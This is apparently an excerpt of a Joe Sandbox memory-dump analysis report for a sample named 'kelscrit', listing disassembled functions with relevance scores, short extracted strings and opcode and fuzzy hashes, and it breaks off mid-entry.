Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: (otq$(otq$(otq$(otq$(otq$(otq$,xq$,xq
API String ID: 0-3864058770
Opcode ID: 386bc588a9e105b04538e6521c69efd1e36f8e345a55e813a33526b690b389bc
Instruction ID: 054b8146a0a17c1a749b7fe627759603158ad4a3cdee87f1ac3d53f64a394050
Opcode Fuzzy Hash: 386bc588a9e105b04538e6521c69efd1e36f8e345a55e813a33526b690b389bc
Instruction Fuzzy Hash: 23127930A04209CFCB15CF69E885AAEBBF2FF49315F148599E8659F2A1D730ED45CB90

Function 3AB443A7 Relevance: 5.8, Strings: 4, Instructions: 771
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0 k7, xrefs: 3AB44986, 3AB449FB, 3AB45306
Tetq, xrefs: 3AB4493D
8!k7, xrefs: 3AB44412
Tetq, xrefs: 3AB44916

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7$8!k7$Tetq$Tetq
API String ID: 0-2943358372
Opcode ID: 5e8d35689789a4e53dc39119a418217d1002c7312e72baf0c5ca7c2825bc7dea
Instruction ID: 04ce0aa141e139ed593931369f86e915d58ff37c2fdc6a4484264b3750571857
Opcode Fuzzy Hash: 5e8d35689789a4e53dc39119a418217d1002c7312e72baf0c5ca7c2825bc7dea
Instruction Fuzzy Hash: 4082C374A01228DFDB65DF65C994BADBBB2FB89304F1041E9D809A7365DB31AE81CF40

Function 3AB443A5 Relevance: 5.8, Strings: 4, Instructions: 768
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0 k7, xrefs: 3AB44986, 3AB449FB, 3AB45306
Tetq, xrefs: 3AB4493D
8!k7, xrefs: 3AB44412
Tetq, xrefs: 3AB44916

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7$8!k7$Tetq$Tetq
API String ID: 0-2943358372
Opcode ID: 2918a813c1ac670119a0e5945ecc7907a6dbc6415051bb4b5b579c2fca9c3f25
Instruction ID: dc90995df712a3ec99679545fc014068a70d0c65af9ada1651e33c607cddc67b
Opcode Fuzzy Hash: 2918a813c1ac670119a0e5945ecc7907a6dbc6415051bb4b5b579c2fca9c3f25
Instruction Fuzzy Hash: 3882C378A01228DFDB65DF65C994B9DBBB2FB89304F1041E9D809A7365DB31AE81CF40

Function 00150CA0 Relevance: 5.5, Strings: 4, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8(k7, xrefs: 00151799
8!k7, xrefs: 00150FB7
LRtq, xrefs: 00150F19
Drl70 k7, xrefs: 00150F51

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 8!k7$8(k7$Drl70 k7$LRtq
API String ID: 0-2405075857
Opcode ID: d0381641c9f80bb491b4f760fb186addfcb00f30d8563a577ef7f2c4de303f21
Instruction ID: d4652e91a944e5d38bfa1d3d240cf7b4a4efe60bebb46b48e89bfa6cefadf063
Opcode Fuzzy Hash: d0381641c9f80bb491b4f760fb186addfcb00f30d8563a577ef7f2c4de303f21
Instruction Fuzzy Hash: CA52D774A00619DFCB55DFB5DD94A9DBBB2FB88305F1045A5D40AAB360EB706E82CF80

Function 3AB4475F Relevance: 4.3, Strings: 3, Instructions: 590COMMON

Download Yara Rule

Strings

0 k7, xrefs: 3AB44986, 3AB449FB, 3AB45306
Tetq, xrefs: 3AB4493D
Tetq, xrefs: 3AB44916

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7$Tetq$Tetq
API String ID: 0-3938136814
Opcode ID: 5125a9c268a18949fce6b30118615c7fd69370fe769b2136ea3aba928f571b78
Instruction ID: 88b438f6e4ce1a31b4f8d7d0dbb5fa874d2bbfa97298989d0c8d3aaaa82d6aaf
Opcode Fuzzy Hash: 5125a9c268a18949fce6b30118615c7fd69370fe769b2136ea3aba928f571b78
Instruction Fuzzy Hash: FE52D174A01228DFDB65DF65C994B9DBBB2FB89304F1041E9E809A7365DB31AE81CF40

Function 00155F38 Relevance: 2.8, Strings: 2, Instructions: 328COMMON

Download Yara Rule

Strings

Hxq, xrefs: 00156056
Hxq, xrefs: 00156023

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: Hxq$Hxq
API String ID: 0-1947182729
Opcode ID: 88bd2d1b8ae4f722f4f73843800d188058624a57451248b47761a7caf0178738
Instruction ID: 9da925bfbcfa28f3461921651f03ceb8415bb9fa9197702535c6470f7a68a91e
Opcode Fuzzy Hash: 88bd2d1b8ae4f722f4f73843800d188058624a57451248b47761a7caf0178738
Instruction Fuzzy Hash: 12B1CF30704251CFCB199B79C894B7A7BA2AFC8302F54456AE816CF3A2CB34CD4AD791

Function 3AAFE950 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

LRtq, xrefs: 3AAFE96C
LRtq, xrefs: 3AAFEA99

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID: LRtq$LRtq
API String ID: 0-4146025373
Opcode ID: 5db4b045765e4d77f80cecc244119c9cb4688310d0cd343957c21e588795028a
Instruction ID: eb9bd1779b852774d63ede773565813645cacea9dabd371789b0c1aabb7c7ef2
Opcode Fuzzy Hash: 5db4b045765e4d77f80cecc244119c9cb4688310d0cd343957c21e588795028a
Instruction Fuzzy Hash: 1581AD357002058FDB18EB79C99499E77F6AF89640B1185AAF806DB3A1DB32DC02CB91

Function 00156498 Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

,xq, xrefs: 0015656E
,xq, xrefs: 00156578

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: ,xq$,xq
API String ID: 0-689986317
Opcode ID: ac3431c7708290127dea859b3ff310e73dac97d87a28eb5be06c3de2de54e7dd
Instruction ID: 0528d12ad0e4f0aa7179cad8e1491617c313664b6a09dd2ec9b48252429d0634
Opcode Fuzzy Hash: ac3431c7708290127dea859b3ff310e73dac97d87a28eb5be06c3de2de54e7dd
Instruction Fuzzy Hash: AA81BF74B00505CFCB58CF69C4849A9BBB2BF89302BA58169D825DF369DB31EC49CBD0

Function 0015AEBA Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

(otq, xrefs: 0015AECD
(otq, xrefs: 0015B079

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: (otq$(otq
API String ID: 0-1890571022
Opcode ID: ed30acd62ec311f5f567d21069ce121df44b8c2411863ebe965b35e8f14be864
Instruction ID: 5713dea2f382920f166fb4604b6059eadda5c7eb3d5c95a04bf2ac2fa555d4f1
Opcode Fuzzy Hash: ed30acd62ec311f5f567d21069ce121df44b8c2411863ebe965b35e8f14be864
Instruction Fuzzy Hash: 58414830708204CFCB059B7898546AE7BB2AFC8712F54456AF926CF7A2CF318D09C7A1

Function 00153CB1 Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

Xxq, xrefs: 00153CF6
Xxq, xrefs: 00153CCD

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: Xxq$Xxq
API String ID: 0-3286106824
Opcode ID: 6cff6c22851ed5b800207daf6990c05c07b4f1d8db9d8f5f49aeb7d3bee4692d
Instruction ID: f04e4c2d309c60ff80b449d00207f8efb07aa0d0738156d6293a9b0237826539
Opcode Fuzzy Hash: 6cff6c22851ed5b800207daf6990c05c07b4f1d8db9d8f5f49aeb7d3bee4692d
Instruction Fuzzy Hash: 55313731704264CBDF1D46FA489427EAAB6ABC4382F58403ADC32DB391DF74CE499760

Function 00159D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'tq, xrefs: 00159D84
4'tq, xrefs: 00159D6D

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq
API String ID: 0-2758119276
Opcode ID: 62d9431245be3b8434520fd1c8b4fc4b191ff53cb2506af751130085fb450d7c
Instruction ID: 5339fa050bdd532730f7fd137c964c057e4b18a46dc090e6d7724dd404c3ad71
Opcode Fuzzy Hash: 62d9431245be3b8434520fd1c8b4fc4b191ff53cb2506af751130085fb450d7c
Instruction Fuzzy Hash: DEF04435304114AFDB095BE6A85097BBB9BEBCC361B144429BE0ACB351DF61CC15C7A1

Function 3AB44B67 Relevance: 1.6, Strings: 1, Instructions: 386COMMON

Download Yara Rule

Strings

0 k7, xrefs: 3AB45306

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7
API String ID: 0-3616962110
Opcode ID: c397fa1eb64801462565fcc5325164b956408aa96a001f8e92f9ec287f998adc
Instruction ID: 38928e7ca1fc81a0885c94f72566f4041e21bbf2393ac8c81779414279fbcbc3
Opcode Fuzzy Hash: c397fa1eb64801462565fcc5325164b956408aa96a001f8e92f9ec287f998adc
Instruction Fuzzy Hash: E312C378A00228DFDB55DF65C994B9DBBB2FB88304F1041D9E909AB365DB70AE81CF40

Function 3A05992C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 3A059A6E

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 460039d50a9c784eca5ab557391226b2abce8ac380c7833e9f4955f927a0b63b
Instruction ID: 641ce4492acdd0fa653d1b6fe7aa42efaff080ea4ba55eb7804bd6f51f111f78
Opcode Fuzzy Hash: 460039d50a9c784eca5ab557391226b2abce8ac380c7833e9f4955f927a0b63b
Instruction Fuzzy Hash: 81118174E052099FEB04DFA8D584EDDBBF5FF88384F148595E844A7245DB70D941CBA0

Function 3AB455D0 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

Tetq, xrefs: 3AB45652

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: f0ff21086f79abfc735122d10a51d55090136bf15b59865f8cce85788de2682d
Instruction ID: 18b0ef52c87ca5aca72927f0e918080c645836a49775de780b190ba74ba8081b
Opcode Fuzzy Hash: f0ff21086f79abfc735122d10a51d55090136bf15b59865f8cce85788de2682d
Instruction Fuzzy Hash: D3619374E00258DFDB55DFA9C990ADDBBB2FF89300F208169E909AB355DB305986CF40

Function 3AB455E0 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Tetq, xrefs: 3AB45652

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: Tetq
API String ID: 0-1197912954
Opcode ID: fdcb8e8bb1bccbcab8f91f391761df8d022b9c99fcf4c12aa089543e50092841
Instruction ID: f1ccf6ec3770350d04d0de64e8a97094f99925012c694a88b03945428354c289
Opcode Fuzzy Hash: fdcb8e8bb1bccbcab8f91f391761df8d022b9c99fcf4c12aa089543e50092841
Instruction Fuzzy Hash: 99619275E00218DFDB55DFA9C990A9DBBB2FF88300F208169E919AB355DB306D86CF40

Function 00152790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001527BF

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 6411020f344d5cde1dbea0dd45c50f64d725b861bed40529d54ffc5a749ba04b
Instruction ID: a981804de3a3e710738f750271af2d856c042cf87873e8cc3faf77168b6f502f
Opcode Fuzzy Hash: 6411020f344d5cde1dbea0dd45c50f64d725b861bed40529d54ffc5a749ba04b
Instruction Fuzzy Hash: 0E314B75D05249CFCB05DFB9D8145EDBFF4EF4A300F0441AAD845AB261EB341A49CBA1

Function 001562F0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

3@7, xrefs: 001562F0

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 3@7
API String ID: 0-2443733201
Opcode ID: 5c943a0d5c66d17bbc7176d2444c6171d966adbef326c937900d6d3604ccd4a7
Instruction ID: faec7b9281431bc91e625e33d8d6db56a8d776f8e590bc77c282113239c44ee2
Opcode Fuzzy Hash: 5c943a0d5c66d17bbc7176d2444c6171d966adbef326c937900d6d3604ccd4a7
Instruction Fuzzy Hash: 5911E3357045118FC71A5B2AC8A452E7BA2BFC97523594079E81ACF764CF20DC068BD0

Function 0015E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a65c3f01ae15e145888f3b8f102b8d1a38aac23accde175cf1deeb31025dee
Instruction ID: 33588fd741f2270789bb7299934eee2676799ca9978f42e59d87b48ca247142c
Opcode Fuzzy Hash: d7a65c3f01ae15e145888f3b8f102b8d1a38aac23accde175cf1deeb31025dee
Instruction Fuzzy Hash: D612A834421653DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546DACB62

Function 00159A10 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b521dd062c3add17c10842114de27b00cb367e83f1a22544fd77ef3c018c7c
Instruction ID: 8c1b32e4b6f4af41498507e83f29058b75a787dcbdf6edbd3777e976aad3d549
Opcode Fuzzy Hash: 02b521dd062c3add17c10842114de27b00cb367e83f1a22544fd77ef3c018c7c
Instruction Fuzzy Hash: BB912830904645CFC711CF68D8808AABBB5FF85321B15C6A6DC69DF352D331E95ACBA2

Function 001580D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6f9b30dbc6309f5af91a0ff963d6d73ea3e5b659bef65dd69548ac1ed6029a
Instruction ID: 8a120dd69d08aeaa1daa32006a86a264ceb367474362cc433aa8b1f2f6ee8fef
Opcode Fuzzy Hash: 2b6f9b30dbc6309f5af91a0ff963d6d73ea3e5b659bef65dd69548ac1ed6029a
Instruction Fuzzy Hash: 7671F734700A05CFCB15DF68C884A6A7BE6AF99742F1940A9E826EF371DB70DC46CB50

Function 3AAFD700 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b81932c700cb21d81f748964d9950eb6a257c3ae9e4f6240dfc1628f469e12c
Instruction ID: 634a2dae764e358c93b40d1db3e8bbbad8c985dad639b3ee8ba1e8b1d4ba48db
Opcode Fuzzy Hash: 6b81932c700cb21d81f748964d9950eb6a257c3ae9e4f6240dfc1628f469e12c
Instruction Fuzzy Hash: D181A074E412689FDB65DF66CD90BDDBBB2AF89300F1081EAE948A7250DB315E81CF44

Function 3AAFD410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86822249c6ad5afa209340e11bb4f15c153aa66403a125194e96cf6b52753fde
Instruction ID: c4d7196aae5b2772eebc7c86ea2a3db474bf307131faf92d950371b951cb720c
Opcode Fuzzy Hash: 86822249c6ad5afa209340e11bb4f15c153aa66403a125194e96cf6b52753fde
Instruction Fuzzy Hash: 7A71E275E00208DFDB59DFA6C990ADDBBF2AF88304F248529E814BB355EB359942CF50

Function 3AAF73E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f03ecb13bc59e45d9a43976bc1a949c69c251b47bd208b7658d4f7aff1e41a8
Instruction ID: aa37c466fb39ee0009c4e6e5b36a9e1a93b1a028cbebb7bd889d4f6aead5ab84
Opcode Fuzzy Hash: 8f03ecb13bc59e45d9a43976bc1a949c69c251b47bd208b7658d4f7aff1e41a8
Instruction Fuzzy Hash: BB71D175E00208DFDB59DFAAC990ADDBBB2EF89300F248529E814BB355DB359942CF50

Function 3AB021B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b2522e88ad4e91f4a35737891d79096b1b0e515a18c4fd2af62dccf15f951c
Instruction ID: 00fb3593f9d8708a454b2b485f12b936a281b4cdb2826f6be8ded2db4bd2b7b3
Opcode Fuzzy Hash: 24b2522e88ad4e91f4a35737891d79096b1b0e515a18c4fd2af62dccf15f951c
Instruction Fuzzy Hash: 2071BE74E00208DFDB49DFA6C990ADDBBB2BF89300F248129D815BB355EB359946DF50

Function 0015F71F Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45f132000ce37c9d61fd7d5a5eaa9080e343872f42676d317f0ffa752c4f76a4
Instruction ID: ff753f0e09e63aecbffade81c9381e921bf205efab0049a4e2c3dfdd7e665782
Opcode Fuzzy Hash: 45f132000ce37c9d61fd7d5a5eaa9080e343872f42676d317f0ffa752c4f76a4
Instruction Fuzzy Hash: B061F174D00219DFDB15DFA5C894AEDBBB2FF89300F208529E809AB255DB755A86CF40

Function 3AAFEE3F Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684205bfc8b3deb2ec6e1c1808b4e8ee244895f997895b5e58afbffe49978711
Instruction ID: 12f0d0f78a27d9093dd975d5b25b45867e4778e44ab7e49cb62d289530e18dee
Opcode Fuzzy Hash: 684205bfc8b3deb2ec6e1c1808b4e8ee244895f997895b5e58afbffe49978711
Instruction Fuzzy Hash: 7F619E74E012289FEB65DF69CC50BDDBBB2AB89300F5081E9E91CA7254EB315E85CF44

Function 0015D548 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0e0e558bded4b9612f5752f904f51909ae9af0fab512feb54331f70bc7fd67
Instruction ID: 0068de0749d92403092855f5f8cfba9dd1fd2e667d641deac99fb6eb7f211108
Opcode Fuzzy Hash: ab0e0e558bded4b9612f5752f904f51909ae9af0fab512feb54331f70bc7fd67
Instruction Fuzzy Hash: E2519374E01208DFDB48DFA9D5949DDBBF2BF89300F209169E819AB365DB309905CF50

Function 001541A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7a5ef05eaa9385ac217d2236f855f8ac885e478aaf546db8d897e57e6f8a42d
Instruction ID: a60738b90f271ea161cfe8270b7565848b7d5d08ed6c3e01784685e66d1471d1
Opcode Fuzzy Hash: e7a5ef05eaa9385ac217d2236f855f8ac885e478aaf546db8d897e57e6f8a42d
Instruction Fuzzy Hash: 0751A274E01218DFCB49DFAAD48089DBBF2FF89315B209069E815BB324DB35A846CF50

Function 0015A303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce7aba016190c65be9b4902cdc23e0575e1278f858d50b289c21a0122383ca9c
Instruction ID: 445f60f6eb2225bad82c122ed714b32c23d4f5bcc28e3d813e9ed19371f6ed0c
Opcode Fuzzy Hash: ce7aba016190c65be9b4902cdc23e0575e1278f858d50b289c21a0122383ca9c
Instruction Fuzzy Hash: E241D031A44249DFCF05CFA4C844A9DBFB2BF49315F448255ED259F2A1D370E918CB62

Function 3AAFFB37 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badeeaf3eed2dd1d8f421420a9595167bfc80151b0f90ede9ee3459e9b886ebf
Instruction ID: c2788a8d24eccd9c82b11fd8a083b2656ce39c370926a04fa7c746ff9ecf9512
Opcode Fuzzy Hash: badeeaf3eed2dd1d8f421420a9595167bfc80151b0f90ede9ee3459e9b886ebf
Instruction Fuzzy Hash: CE41F0B4E012189FCB05DFA5D9946EDBBF1BB89304F14842AE815B73A4EB345A4ACF50

Function 3AAFFB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa8114f543321eaa55f26799ef23f4bcace5ce8e1bff53849e5b0244d6059c0
Instruction ID: 151bcee12062af98145c060715cd567c204b11efef3f0f64e11749ee8846227f
Opcode Fuzzy Hash: 8fa8114f543321eaa55f26799ef23f4bcace5ce8e1bff53849e5b0244d6059c0
Instruction Fuzzy Hash: 5441C0B4E01208DFDB44DFA5C9946DDBBF2BB88304F14852AE815B7254EB745A46CF50

Function 00159C30 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7207f808db9372cecfacace2f2a3ebcaa60cfed4511071e4f984b53a0d9c3ec
Instruction ID: cc9ec5f5aac9e750af81787e7db37128e100b797418ee25ba40078eaa60af6f1
Opcode Fuzzy Hash: b7207f808db9372cecfacace2f2a3ebcaa60cfed4511071e4f984b53a0d9c3ec
Instruction Fuzzy Hash: F6417E30604245CFDB00DFA8C884B6A7BF6EB89312F548466ED28CF255D775DD45CBA2

Function 00155658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b1459af759a36852cae3bab2ff3e5bc8b02cb22ec088d012367495766ddf2b4
Instruction ID: 47a5f7a47b2da2308efba69f3d41aa4f25f92f9e56ec66ad4dec9759e81a9f5f
Opcode Fuzzy Hash: 6b1459af759a36852cae3bab2ff3e5bc8b02cb22ec088d012367495766ddf2b4
Instruction Fuzzy Hash: 4E317231204159EFCF069FA5D8A4AAF3BA2FB88301F504025FD259B255CB35DE65DFA0

Function 3AAFE588 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0299f8540d598623c2b27b4db1c9c6e034eefb44c6d3a8e0db9f2a71354899ad
Instruction ID: 7852c3106cc100e8d09afd0d3ac7e5d8472da9da702689190ed3de0854247156
Opcode Fuzzy Hash: 0299f8540d598623c2b27b4db1c9c6e034eefb44c6d3a8e0db9f2a71354899ad
Instruction Fuzzy Hash: 8A3158377002599BDBAD8B388C844AEFBA2AF41254706486AFC58DB251CF22DD42C7D1

Function 3AAF73D0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3914b01a7de2788124a4aeed27f4ad83a224898f0f68e266da2edd5c25c63dd4
